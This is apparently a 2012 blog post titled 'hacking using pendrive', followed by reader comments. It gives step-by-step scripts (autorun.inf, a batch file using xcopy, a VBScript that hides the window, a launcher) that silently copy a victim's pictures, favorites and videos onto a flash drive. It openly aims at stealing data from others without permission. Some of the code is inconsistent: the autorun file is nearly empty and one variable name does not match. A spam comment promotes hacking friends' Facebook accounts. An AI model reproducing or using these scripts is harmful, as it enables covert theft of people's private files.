Thursday, 27 September 2012

hacking using pendrive

This post is only to demonstrate how a user can steal victim's data without any permission, as soon as the flash drive is attached to computer, the files starts to copy in flash drive without any notice.

Process is very simple as we have to add only 4-5 notepad files in the flash drive.
Follow the following steps :-

1. Create a notepad file with name autorun.inf nad copy the following code.

action=Click OK to Run
2. Create another notepad file of name file.bat and copy the following code.
@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off

3. In our 3rd notepad file, copy the following code and save it as invisible.vbs

CreateObject(“Wscript.Shell”).Run “”"” & WScript.Arguments(0) & “”"”, 0, False

4. And in our last notepad file, copy this code and save the file as launch.bat

 wscript.exe \invisible.vbs file.bat

5. Now, copy all this 4 files in the root of  flash drive. And create a folder "all" where the content is to be copy.

6. Test this in your own computer first, before inserting this flash drive in victim's computer.


  1. how to use this i mean i create all this files and saved in in my pendrive in folder named all. but i dont know how to use this? i eject my pendrive and insert it again but nothing happen!! any help plz!

  2. U should click on lunch.bat file.
    it vl done

  3. Nice post! amazing your posts. I hope you can post more helpful articles. I found a website that we can hack any our friends facebook account within minutes. Check out below link:

  4. This comment has been removed by the author.

  5. Awesome.
    I have also find a long and amazing artice on 12 tricks with a Pendrive Here:-